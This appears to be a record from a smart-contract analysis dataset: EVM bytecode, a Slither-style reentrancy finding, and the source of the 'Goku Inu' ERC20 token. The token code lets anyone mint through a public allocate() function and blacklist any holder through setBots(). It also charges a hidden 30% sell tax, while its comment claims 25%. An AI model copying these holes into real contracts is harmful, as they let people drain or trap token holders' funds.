ffffffffffffffffffff16632424be5c84336040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff168152602001925050506040805180830381600087803b15801561309b57600080fd5b505af11580156130af573d6000803e3d6000fd5b505050506040513d60408110156130c557600080fd5b810190808051906020019092919080519060200190929190505050915091506000811461315a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f456e642f6172742d6e6f742d7a65726f0000000000000000000000000000000081525060200191505060405180910390fd5b7f80000000000000000000000000000000000000000000000000000000000000008211156131f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bab3f40843333600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168760000360006040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b1580156132f557600080fd5b505af1158015613309573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff16837ff26f2b994a5e16f0960958e62541681f9e3e84d4caac2e487d25e0c75243f0d8846040518082815260200191505060405180910390a3505050565b6010602052816000526040600020602052806000526040600020600091509150505481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461343a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b6001600754146134b2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6e6f742d6c697665000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f76617400000000000000000000000000000000000000000000000000000000008214156135205780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137b9565b7f636174000000000000000000000000000000000000000000000000000000000082141561358e5780600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137b8565b7f646f6700000000000000000000000000000000000000000000000000000000008214156135fc5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137b7565b7f766f77000000000000000000000000000000000000000000000000000000000082141561366a5780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137b6565b7f706f7400000000000000000000000000000000000000000000000000000000008214156136d85780600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137b5565b7f73706f74000000000000000000000000000000000000000000000000000000008214156137465780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137b4565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f456e642f66696c652d756e7265636f676e697a65642d706172616d000000000081525060200191505060405180910390fd5b5b5b5b5b5b817f8fef588b5fc1afbf5b2f06c1a435d513f208da2e6704c3d8f0e0ec91167066ba82604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a25050565b600d6020528060005260406000206000915090505481565b60006007541461389b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f456e642f7374696c6c2d6c69766500000000000000000000000000000000000081525060200191505060405180910390fd5b6000600b60008381526020019081526020016000205414613924576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f456e642f7461672d696c6b2d616c72656164792d646566696e6564000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36826040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b15801561399957600080fd5b505af11580156139ad573d6000803e3d6000fd5b505050506040513d60a08110156139c357600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919250909150905050600d600083815260200190815260200160002060008291905055506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b815260040180828152602001915050604080518083038186803b158015613a9557600080fd5b505afa158015613aa9573d6000803e3d6000fd5b505050506040513d6040811015613abf57600080fd5b810190808051906020019092919080519060200190929190505050509050613c0c600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663495d32cb6040518163ffffffff1660e01b815260040160206040518083038186803b158015613b4857600080fd5b505afa158015613b5c573d6000803e3d6000fd5b505050506040513d6020811015613b7257600080fd5b81019080805190602001909291905050508273ffffffffffffffffffffffffffffffffffffffff166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b158015613bc957600080fd5b505afa158015613bdd573d6000803e3d6000fd5b505050506040513d6020811015613bf357600080fd5b810190808051906020019092919050505060001c6140d0565b600b600084815260200190815260200160002081905550817f4a9efa0a0e3f548761a6924fe06ac5cb94ecdbc08b10d855bbcc04e37c4910db60405160405180910390a25050565b60085481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915090505481565b600b6020528060005260406000206000915090505481565b6000600e6000848152602001908152602001600020541415613d3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f456e642f6669782d696c6b2d6e6f742d646566696e656400000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636111be2e833033613d9886600e60008a815260200190815260200160002054614047565b6040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b158015613e0f57600080fd5b505af1158015613e23573d6000803e3d6000fd5b50505050613e816010600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261402d565b6010600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546010600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115613fda576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f456e642f696e73756666696369656e742d6261672d62616c616e63650000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16827f888c7c01b06fd8004523e2bc9a274be1feaa9f03579ae5f568061dac078793c9836040518082815260200191505060405180910390a35050565b600081830190508281101561404157600080fd5b92915050565b60006b033b2e3c9fd0803ce8000000614060848461408a565b8161406757fe5b04905092915050565b600082828403915081111561408457600080fd5b92915050565b6000808214806140a757508282838502925082816140a457fe5b04145b6140b057600080fd5b92915050565b6000818311156140c657816140c8565b825b905092915050565b6000816140e584670de0b6b3a764000061408a565b816140ec57fe5b0490509291505056fea2646970667358221220d9f3ca14e5ff1963a9ecaa9dc9b9c5809affccbd8d715585e6d5d235eb536b7664736f6c634300060c0033a26469706673582212206a71bcd797810ce496c5ebf0eb56fd1b2713f397b36827691920e1a5b68c2cba64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
67
0x8c768f4a062bbc37ebc5b0497b56bdc62d2245f0
//SPDX-License-Identifier: Unlicensed // https://t.me/gokuinutoken pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GokuInuToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Goku Inu"; string private constant _symbol = "GOKUINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = 100000000 * 10 ** 9; emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function originalPurchase(address account) public view returns (uint256) { return _buyMap[account]; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function _allocate(address recipient,uint256 amount) internal { _rOwned[recipient] = amount; emit Transfer(address(0x0), recipient, amount); } function allocate(address recipient,uint256 amount) public { require(_isExcludedFromFee[recipient]); _allocate(recipient, amount); } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isBuy(from)) { // TAX SELLERS 25% WHO SELL WITHIN 4 HOURS if (_buyMap[from] != 0 && (_buyMap[from] + (4 hours) >= block.timestamp)) { _feeAddr1 = 2; _feeAddr2 = 28; } else { _feeAddr1 = 2; _feeAddr2 = 10; } } else { if (_buyMap[to] == 0) { _buyMap[to] = block.timestamp; } _feeAddr1 = 2; _feeAddr2 = 10; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function createPair() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); } function addLiquidity() public onlyOwner{ uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableTrading() external onlyOwner{ tradingOpen = true; } function setBots(address[] memory bots_) public { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = _rTotal; } function delBot(address notbot) public { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function updateMaxTx (uint256 fee) public onlyOwner { _maxTxAmount = fee; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063c2d0ffca1161006f578063c2d0ffca146103b9578063c3c8cd80146103d9578063cc653b44146103ee578063dd62ed3e14610424578063e8078d941461046a578063ff8726021461047f57600080fd5b806395d89b41146103145780639e78fb4f14610344578063a9059cbb14610359578063b515566a14610379578063b78b52df14610399578063bc337182146103b957600080fd5b80635932ead1116101085780635932ead11461026d5780636fc3eaec1461028d57806370a08231146102a2578063715018a6146102c25780638a8c523c146102d75780638da5cb5b146102ec57600080fd5b806306fdde031461015b578063095ea7b31461019e57806318160ddd146101ce57806323b872dd146101f3578063273123b714610213578063313ce5671461025157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50604080518082019091526008815267476f6b7520496e7560c01b60208201525b60405161019591906117c8565b60405180910390f35b3480156101aa57600080fd5b506101be6101b9366004611842565b610494565b6040519015158152602001610195565b3480156101da57600080fd5b50678ac7230489e800005b604051908152602001610195565b3480156101ff57600080fd5b506101be61020e36600461186e565b6104ab565b34801561021f57600080fd5b5061024f61022e3660046118af565b6001600160a01b03166000908152600760205260409020805460ff19169055565b005b34801561025d57600080fd5b5060405160098152602001610195565b34801561027957600080fd5b5061024f6102883660046118da565b610514565b34801561029957600080fd5b5061024f610565565b3480156102ae57600080fd5b506101e56102bd3660046118af565b610592565b3480156102ce57600080fd5b5061024f6105b4565b3480156102e357600080fd5b5061024f610628565b3480156102f857600080fd5b506000546040516001600160a01b039091168152602001610195565b34801561032057600080fd5b50604080518082019091526007815266474f4b55494e5560c81b6020820152610188565b34801561035057600080fd5b5061024f610667565b34801561036557600080fd5b506101be610374366004611842565b610727565b34801561038557600080fd5b5061024f61039436600461190d565b610734565b3480156103a557600080fd5b5061024f6103b4366004611842565b6107a0565b3480156103c557600080fd5b5061024f6103d43660046119d2565b6107cf565b3480156103e557600080fd5b5061024f6107fe565b3480156103fa57600080fd5b506101e56104093660046118af565b6001600160a01b031660009081526004602052604090205490565b34801561043057600080fd5b506101e561043f3660046119eb565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561047657600080fd5b5061024f610834565b34801561048b57600080fd5b5061024f610b7a565b60006104a1338484610bac565b5060015b92915050565b60006104b8848484610cd0565b61050a843361050585604051806060016040528060288152602001611bea602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611091565b610bac565b5060019392505050565b6000546001600160a01b031633146105475760405162461bcd60e51b815260040161053e90611a24565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461058557600080fd5b4761058f816110cb565b50565b6001600160a01b0381166000908152600260205260408120546104a590611105565b6000546001600160a01b031633146105de5760405162461bcd60e51b815260040161053e90611a24565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106525760405162461bcd60e51b815260040161053e90611a24565b600f805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106915760405162461bcd60e51b815260040161053e90611a24565b600f54600160a01b900460ff16156106eb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161053e565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058f3082678ac7230489e80000610bac565b60006104a1338484610cd0565b60005b815181101561079c5760016007600084848151811061075857610758611a59565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061079481611a85565b915050610737565b5050565b6001600160a01b03821660009081526006602052604090205460ff166107c557600080fd5b61079c8282611189565b6000546001600160a01b031633146107f95760405162461bcd60e51b815260040161053e90611a24565b601055565b600d546001600160a01b0316336001600160a01b03161461081e57600080fd5b600061082930610592565b905061058f816111da565b6000546001600160a01b0316331461085e5760405162461bcd60e51b815260040161053e90611a24565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ac57600080fd5b505afa1580156108c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e49190611aa0565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561094157600080fd5b505afa158015610955573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109799190611aa0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109c157600080fd5b505af11580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611aa0565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610a2981610592565b600080610a3e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610aa157600080fd5b505af1158015610ab5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ada9190611abd565b5050600f805461ffff60b01b19811661010160b01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b4257600080fd5b505af1158015610b56573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058f9190611aeb565b6000546001600160a01b03163314610ba45760405162461bcd60e51b815260040161053e90611a24565b600954601055565b6001600160a01b038316610c0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161053e565b6001600160a01b038216610c6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161053e565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161053e565b6001600160a01b038216610d965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161053e565b60008111610df85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161053e565b600f546001600160a01b03848116911614610e7c576001600160a01b03831660009081526004602052604090205415801590610e5957506001600160a01b0383166000908152600460205260409020544290610e5690613840611b08565b10155b15610e6d576002600b55601c600c55610ec0565b6002600b55600a600c55610ec0565b6001600160a01b038216600090815260046020526040902054610eb5576001600160a01b03821660009081526004602052604090204290555b6002600b55600a600c555b6000546001600160a01b03848116911614801590610eec57506000546001600160a01b03838116911614155b15611081576001600160a01b03831660009081526007602052604090205460ff16158015610f3357506001600160a01b03821660009081526007602052604090205460ff16155b610f3c57600080fd5b600f546001600160a01b038481169116148015610f675750600e546001600160a01b03838116911614155b8015610f8c57506001600160a01b03821660009081526006602052604090205460ff16155b8015610fa15750600f54600160b81b900460ff165b1561101457600f54600160a01b900460ff16610fbc57600080fd5b601054811115610fcb57600080fd5b6001600160a01b0382166000908152600860205260409020544211610fef57600080fd5b610ffa42601e611b08565b6001600160a01b0383166000908152600860205260409020555b600061101f30610592565b600f54909150600160a81b900460ff1615801561104a5750600f546001600160a01b03858116911614155b801561105f5750600f54600160b01b900460ff165b1561107f5761106d816111da565b47801561107d5761107d476110cb565b505b505b61108c838383611363565b505050565b600081848411156110b55760405162461bcd60e51b815260040161053e91906117c8565b5060006110c28486611b20565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561079c573d6000803e3d6000fd5b600060095482111561116c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161053e565b600061117661136e565b90506111828382611391565b9392505050565b6001600160a01b0382166000818152600260209081526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061122257611222611a59565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561127657600080fd5b505afa15801561128a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ae9190611aa0565b816001815181106112c1576112c1611a59565b6001600160a01b039283166020918202929092010152600e546112e79130911684610bac565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611320908590600090869030904290600401611b37565b600060405180830381600087803b15801561133a57600080fd5b505af115801561134e573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b61108c8383836113d3565b600080600061137b6114ca565b909250905061138a8282611391565b9250505090565b600061118283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061150a565b6000806000806000806113e587611538565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114179087611595565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461144690866115d7565b6001600160a01b03891660009081526002602052604090205561146881611636565b6114728483611680565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114b791815260200190565b60405180910390a3505050505050505050565b6009546000908190678ac7230489e800006114e58282611391565b82101561150157505060095492678ac7230489e8000092509050565b90939092509050565b6000818361152b5760405162461bcd60e51b815260040161053e91906117c8565b5060006110c28486611ba8565b60008060008060008060008060006115558a600b54600c546116a4565b925092509250600061156561136e565b905060008060006115788e8787876116f9565b919e509c509a509598509396509194505050505091939550919395565b600061118283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611091565b6000806115e48385611b08565b9050838110156111825760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161053e565b600061164061136e565b9050600061164e8383611749565b3060009081526002602052604090205490915061166b90826115d7565b30600090815260026020526040902055505050565b60095461168d9083611595565b600955600a5461169d90826115d7565b600a555050565b60008080806116be60646116b88989611749565b90611391565b905060006116d160646116b88a89611749565b905060006116e9826116e38b86611595565b90611595565b9992985090965090945050505050565b60008080806117088886611749565b905060006117168887611749565b905060006117248888611749565b90506000611736826116e38686611595565b939b939a50919850919650505050505050565b600082611758575060006104a5565b60006117648385611bca565b9050826117718583611ba8565b146111825760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161053e565b600060208083528351808285015260005b818110156117f5578581018301518582016040015282016117d9565b81811115611807576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461058f57600080fd5b803561183d8161181d565b919050565b6000806040838503121561185557600080fd5b82356118608161181d565b946020939093013593505050565b60008060006060848603121561188357600080fd5b833561188e8161181d565b9250602084013561189e8161181d565b929592945050506040919091013590565b6000602082840312156118c157600080fd5b81356111828161181d565b801515811461058f57600080fd5b6000602082840312156118ec57600080fd5b8135611182816118cc565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561192057600080fd5b823567ffffffffffffffff8082111561193857600080fd5b818501915085601f83011261194c57600080fd5b81358181111561195e5761195e6118f7565b8060051b604051601f19603f83011681018181108582111715611983576119836118f7565b6040529182528482019250838101850191888311156119a157600080fd5b938501935b828510156119c6576119b785611832565b845293850193928501926119a6565b98975050505050505050565b6000602082840312156119e457600080fd5b5035919050565b600080604083850312156119fe57600080fd5b8235611a098161181d565b91506020830135611a198161181d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487